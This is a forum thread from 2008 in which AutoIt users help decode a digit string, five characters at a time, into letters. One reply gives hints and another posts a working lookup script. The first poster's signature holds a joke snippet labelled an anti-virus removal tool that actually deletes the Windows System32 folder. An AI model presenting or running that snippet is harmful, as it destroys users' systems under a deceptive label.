Firefoxy Posted January 2, 2008 Posted January 2, 2008 (edited) Can you make AutoIt read at 5 character invervals? Ex: H = 00001 Y = 00101 E = 11101 So, 000011110100101 would equal HEY. Because it read the first 5 numbers: 00001 = H......and so on. Can it do this? Sorry for all the questions, Hunter Edited January 2, 2008 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf
Antiec Posted January 2, 2008 Posted January 2, 2008 Yeah you can... I'll give you some hints so you can try to make it yourself. You should make function A using "While...Wend" loop, "Stringlen()", "Stringleft()", "StringTrimLeft()" to read 5 characters at time. Then you should make another function with "Switch...Case...EndSwitch" to check which letter the characters from A equals to.
rambo3889 Posted January 2, 2008 Posted January 2, 2008 Dim $KeysAndCodes[3][2] = [[ "00001", "H" ], ["00101", "Y" ], ["11101", "E" ]] Global $text $code = "000011110100101" For $1 = 1 To StringLen($code) Step + 5 $5nrs = StringMid($code, $1, 5) $text &= _GetMacthforKey($5nrs) Next MsgBox(0,0,$text) Func _GetMacthforKey($numbers) For $1 = 0 To UBound($KeysAndCodes, 1) - 1 If $numbers = $KeysAndCodes[$1][0] Then Return $KeysAndCodes[$1][1] Next EndFunc ;==>_GetMacthforKey My Scripts:Radioblog Club Music DownloaderOther stuff:Fun movieIm serious read the help file it helps :PFight 'Till you drop. Never stop, You Cant give up. Til you reach the top Fight! youre the best in town Fight!
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now